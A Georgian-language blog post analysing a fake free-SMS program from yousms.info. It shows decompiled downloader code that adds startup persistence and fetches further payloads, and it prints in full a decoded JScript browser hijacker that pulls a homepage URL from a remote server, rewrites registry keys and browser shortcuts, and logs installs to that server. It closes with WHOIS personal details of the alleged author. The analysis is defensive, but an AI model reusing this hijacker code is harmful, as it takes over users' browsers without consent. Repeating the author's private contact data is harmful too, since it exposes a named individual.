mainpage info sms ვირუსის პროგრამის გაშიფვრა + JS/JSE Encoding/Decoding

ერთმა დადო ერთ-ერთ ჯგუფში საიტი yousms.info, სადაც დევს პროგრამა, რომლითაც შეგიძლია გააგზავნო დღეში ერთი სმს უფასოდ, მაგრამ ნომრის მაგივრად შეგიძლია რა სახელიც გინდა ის ჩაწერო, მაგალითად TBC Bank. მოკლედ დადო და დაწერა რომ ვირუსიაო, დამაინტერესა და გადავწყვიტე დამეშალა და მენახა რა იყო. ახლა ზუსტად მივყვებით იმ ნაბიჯებს რაც მე გავაკეთე და ბოლოში იმასაც ისწავლით, როგორ გაუკეთოთ encode / decode ჯავასკრიპტის კოდს.

სანამ რამეს დავიწყებთ, დაგვჭირდება NetReflector, რომლის დაყენების ინსტრუქცია და გადმოსაწერი ლინკი შეგიძლიათ ნახოთ აქ.

ეს კი ენკოდერის და დეკოდერის არქივის ლინკი.

მოკლედ გადმოვწერეთ პროგრამა “Send SMS.exe”, გავხსენით რეფლექტორი და ჩავაგდეთ შიგნით. მე რამდენჯერმე +-ს დავაჭირეთ და მივედით “.ctor()”-ზე, სადაც გვხვდება ესეთი სურათი:

rqwzo8.jpg

აქედან ჩანს, რომ პროგრამა პირველი რიგში ამოწმებს “sms_sample.exe”-ს არსებობას TEMP ფოლდერში და თუ ის არ არსებობს უკავშირდება “http://yousms.info/redirect.php?sample”,იწერს “sample.exe” ფაილს და უშვებს მას. ამის შემდეგ, უკვე უკავშირდება რეალურად გამგზავნ ლინკს ამ კოდით:

webBrowser1.Navigate("http://yousms.info/?page=send&ref=" + this.UnixTimeNow());

და ტვირთავს შესაბამის გვერდს webbrowser კომპონენტში და ვინაიდან ეს გვერდი რესფონსივია, პროგრამაში მეტისმეტად კარგად ჯდება. ეხლა გვაინტერესებს საიდან მოვიდა ეს UnixTimeNow() მეთოდი. რასაც აკეთებს სახელიდან შეგვიძლია მივხვდეთ, კერზოდ, ახლანდელი დრო უნიქსის დროში გადაჰყავს. მოდი კოდიც ვნახოთ:

public long UnixTimeNow()
{
    TimeSpan span = (TimeSpan) (DateTime.UtcNow - new DateTime(0x7b2, 1, 1, 0, 0, 0));
    return (long) span.TotalSeconds;
}

ამ ყველაფრის შესრულებას რა თქმა უნდა დრო სჭირდება და ვინაიდან ავტორმა ვერ გათვალა, ან არ იცოდა ან სხვები სულელები ეგონა, ადგა პირდაპირ მეინ სრიდზე ანუ მთავარ ნაკადზე გააკეთა ეს ყველაფერი, რის გამოც პროგრამა არ მუშაობს სანამ ფაილებს არ გადმოტვირთავს და თუ კარგი ინტერნეტი არ გაქვთ, 2 ფაილის გადმოწერას რამდენიმე წამსაც მოანდომებს. ამ დროის განმავლობაში თქვენს მაუსს ტრიალა წრე არ მოშორდება, რაც იმას ნიშნავს რომ პროგრამა რაღაცას აკეთებს.

ამ პროგრამაში Form1_Load-ში არაფერი წერია, ასე რომ გადავდივართ შემდეგ პროგრამაზე.

ვიწერთ პროგრამას sample.exe, შესაბამისი მისამართიდან, რომელიც ზემოთ ვნახეთ და ვხსნით მას რეფლექტორში. რამდენიმე პლიუსის დაჭერის შემდეგ ვხვდებით აქ:

8wy7ag.jpg

აქედან ჩანს, რომ რეგისტრებში პირდაპირ სტარტაფში გვიწერს რაღაცას და ეს არის პროგრამის, sample.exe-ს გამშვები. საინტერესოა რას აკეთებს ეს დამატებითი პროგრამა ასეთს. მოდი გავაგრძელოთ ძიება და გადავიდეთ Form1_Load-ზე.

აქ ვნახულობთ ასეთ კოდს:

private void Form1_Load(object sender, EventArgs e)
{
    try
    {
        Thread.Sleep(0x493e0);
        base.FormBorderStyle = FormBorderStyle.None;
        this.BackColor = Color.LimeGreen;
        base.TransparencyKey = Color.LimeGreen;
        string tempPath = Path.GetTempPath();
        new WebClient().DownloadFile(new Uri("http://yousms.info/redirect.php?sample_js"), tempPath + "sample.jse");
        Process.Start(tempPath + "sample.jse");
        Application.Exit();
    }
    catch
    {
    }
}

აქ პირველ რიგში, ამ პროგრამის შესრულება ჩერდება 5 წუთით (300 წამით – 0x493e0), ეს ეტყობა იმისთვის უნდა ავტორს, რომ უცებ ვერ მიხვდეს უსერი რა და რატომ მოხდა, 5 წუთის შემდეგ კიდევ მთავარი პროგრამა დახურული ექნება, მაგრამ ეს დამატებითი პროგრამა სტარტაფში ზის, ასე რომ მეტჯერ რომც არ გახსნას ვერ მიხვდება რა მოხდა და რატომ მისამართდება მისი ბრაუზერები კონკრეტულ გვერდზე ჩართვისას. ჩვენ სულ მალე დავადგენთ ამის მიზეზს.

შემდეგ ტრანსპარენტულობისა და უკანა ფონის ერთ ფერზე დაყენებით პროგრამას უჩინარს ხდის, ანუ პროგრამა გამჭვირვალე ხდება. ეს კაცი შეიძლება ჰარი პოტერის ფანია და მისი მანტიიდან მოიფიქრა ეს ყველაფერი, თორემ პროგრამის გაქრობის უკეთესი ვარიანტებიც არსებობს. biggrin.gif

ამის შემდეგ, კოდში აღნიშნული მისამართიდან იწერს ფაილს sample.jse რომელიც არის ცოდირებული ჯავასკრიპტის ფაილი და ის გამოიყურება ასე:

33u3dhv.jpg

ჰმმ. რა უნდა ვქნათ???

გუშინ არ ვიცოდი რა იყო ეს და ბევრი ვარიანტი ვცადე, მათ შორის exe ფაილადაც ვაქციე მაგრამ არაფერი გამოვიდა. დღეს კი გავარკვიე, რომ ეს არის კოდირებული ჯავასკრიპტის ფაილი, ჯავასკრიპტის კოდით. მაშასადამე, უნდა იყოს შესაძლებელი მისი დეკოდირებაც და მართლაც, ინტერნეტში ვიპოვე screnc და scrdec. პირველი არის ვინდოუსის ფაილების კოდირების პროგრამა დ აის შეიძლება ავტომატურად იყოს დაყენებული თქვენთან, მეორე კი დეკოდირების პროგრამაა და ის არ მგონია დაყენებული იყოს, ყოველ შემთხვევაში ჩემთან არცერთი არ იყო დაყენებული. ამიტომაც არქივს დავდებ აქ ამ პროგრამებით და იქვეა ინსტრუქციის ფაილი, თუ როგორ უნდა გამოიყენოთ.

გამოყენებას აქაც დავწერ. პირველ რიგში ხსნით CMD-ს და მანდედან კოდირება ხდება ასე:

screnc notencrypted.js encrypted.jse

ხოლო დეკოდირება ასე:

scrdec.exe encrypted.jse decrypted.js

ახლა ჩვენ უკვე შეგვიძლია გავშიფროთ ეს იდუმალი sample.jse ფაილი და ვნახოთ რას აკეთებს ის. აი ესეც დეკოდირებული კოდი:

// url to set as homepage.
var homepage_url = "http://mainpage.info/";

// initialize ActiveX objects.
var wshell = new ActiveXObject("WScript.Shell");
var fso    = new ActiveXObject("Scripting.FileSystemObject");

// initialize browser paths.
var browsers = new Array();
browsers[0] = "Google Chrome";
browsers[1] = "Mozilla Firefox";
browsers[2] = "Internet Explorer";
browsers[3] = "Opera";
browsers[4] = "Safari";
browsers[5] = "Apple Safari";
browsers[6] = "\\Google Chrome\\Google Chrome";

// initialize registry values for XP start menu default internet.
var reg_browsers = new Array();
reg_browsers[0] = browsers[0];
reg_browsers[1] = "FIREFOX.EXE";
reg_browsers[2] = "IEXPLORE.EXE";
reg_browsers[3] = "OperaStable";
reg_browsers[4] = "Safari.exe";

// returns all users desktop folder path.
function get_allusers_desktop()
{
    return wshell.SpecialFolders("AllUsersDesktop") + "\\";
}

// returns current user desktop folder path.
function get_desktop()
{
    return wshell.SpecialFolders("Desktop") + "\\";
}

// returns current users start menu programs folder path.
function get_programs()
{
    return wshell.SpecialFolders("Programs") + "\\";
}

// returns all users start menu programs folder path.
function get_allusers_programs()
{
    return wshell.SpecialFolders("AllUsersPrograms") + "\\";
}

// returns task bar folder path.
function get_taskbar()
{
    // windows 7+
    var taskbar = wshell.ExpandEnvironmentStrings("%APPDATA%") + "\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\";
    if(!fso.FolderExists(taskbar))
    {
        // windows xp.
        taskbar = wshell.ExpandEnvironmentStrings("%APPDATA%") + "\\Microsoft\\Internet Explorer\\Quick Launch\\";
    }
    
    return taskbar;
}

// modifies registry values to set up homepage.
function set_homepage_reg()
{
    for(var i = 0; i < reg_browsers.length; i++)
    {
        try
        {
            var regkey = "HKEY_LOCAL_MACHINE\\Software\\Clients\\StartMenuInternet\\" + reg_browsers + "\\shell\\open\\command\\";
            var value = wshell.RegRead(regkey);
            if(value.length)
            {
                var end_pos = value.toLowerCase().indexOf(".exe");
                if(end_pos != -1)
                {
                    var has_arguments = value.substr(end_pos + 4, 6);
                    if(has_arguments != "\" http" && has_arguments != " http:")
                    {
                        wshell.RegWrite(regkey, value + " " + homepage_url, "REG_SZ");
                    }
                }
            }
        }
        catch(e)
        {
            ; // ignore exception.
        }
    }
}

// modifies link arguments to set up homepage.
function set_homepage(browser_path)
{
    if(fso.FileExists(browser_path))
    {
        var shell_link = wshell.CreateShortcut(browser_path);
        shell_link.arguments = homepage_url;
        try
        {
            shell_link.save();
            var objFile = fso.GetFile(browser_path);
            objFile.Attributes = objFile.Attributes | 1;
        }
        catch(e)
        {
            // ignore exception.
        }
    }
}

// runs script as administrator.
function runas_administrator()
{
    if(WScript.Arguments.length == 0)
    {
        var objshell = new ActiveXObject("Shell.Application");
        objshell.ShellExecute("wscript.exe", "\"" + WScript.ScriptFullName + "\" 1", "", "runas", 1);
        WScript.Quit();
    }
}

function set_homepage_url()
{
    var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    xmlhttp.open("GET", "http://simba.ge/url.php", false);
    xmlhttp.send();
    
    if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        homepage_url = xmlhttp.responseText;
    }
}

function setup_public_desktop()
{
    for(var i = 0; i < browsers.length; i++)
    {
        if(fso.FileExists(get_allusers_desktop() + browsers + ".lnk"))
        {
            try
            {
                var original_link   = wshell.CreateShortcut(get_allusers_desktop() + browsers + ".lnk");
                var target_path     = original_link.TargetPath;
                
                fso.DeleteFile(get_allusers_desktop() + browsers + ".lnk", true);
                
                var new_link        = wshell.CreateShortcut(get_desktop() + browsers + ".lnk");
                new_link.TargetPath = target_path;
                new_link.Save();
            }
            catch(e)
            {
                // ignore exception.
            }
        }
    }
}

// run as administrator.
//runas_administrator();

// set homepage from url.
set_homepage_url();

// set registry home page for XP default internet browser.
set_homepage_reg();

// delete public desktop browsers
setup_public_desktop();

// modify link arguments for default homepage.
for(var i = 0; i < browsers.length; i++)
{
    set_homepage(get_desktop() + browsers + ".lnk");
    set_homepage(get_programs() + browsers + ".lnk");
    set_homepage(get_allusers_desktop() + browsers + ".lnk");
    set_homepage(get_allusers_programs() + browsers + ".lnk");
    set_homepage(get_taskbar() + browsers + ".lnk");
}

var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("GET", "http://simba.ge/net/add_log.php?site=sample", false);
xmlhttp.send();

ამ ჯავასკრიპტის კოდიდან კიდევ ბევრი რამე შეგიძლიათ ისწავლოთ. ჩანს, რომ რეგისტრებში წერს და ბრაუზერებზე აყენებს კონკრეტულ ჰოუმფეიჯს, ბოლოში კი ვხედავთ, რომ simba.ge-ზე ლოგავს ინფორმაციას.

 

 

ახლა დაგვრჩა ერთი, ამ კონკრეტულ შემთხვევაში, ძალიან მარტივი საფეხური. ავტორის გარკვევა და ვინაიდან ვიცით საიტი, ეს ერთი კლიკის საქმეა. მაშ ასე: http://www.checkdomain.com/დაააა:

 

Quote

Domain Name:YOUSMS.INFO
Domain ID: D55058669-LRMS
Creation Date: 2015-05-13T19:20:31Z
Updated Date: 2015-05-14T10:55:40Z
Registry Expiry Date: 2016-05-13T19:20:31Z
Sponsoring Registrar:GoDaddy.com, LLC (R171-LRMS)
Sponsoring Registrar IANA ID: 146
WHOIS Server: 
Referral URL: 
Domain Status: serverTransferProhibited -- http://www.icann.org/epp#serverTransferProhibited
Registrant ID:CR194689718
Registrant Name:giorgi patsinashvili
Registrant Organization:
Registrant Street: guramishvili street, 50, 54
Registrant City:tbilisi
Registrant State/Province:georgia
Registrant Postal Code:0141
Registrant Country:GE
Registrant Phone:+995.598222905
Registrant Phone Ext: 
Registrant Fax: +995.598222905
Registrant Fax Ext: 
Registrant Email:gfacinashvili@yahoo.com


ავტორი: samuraisxmali

 

Facebook (0)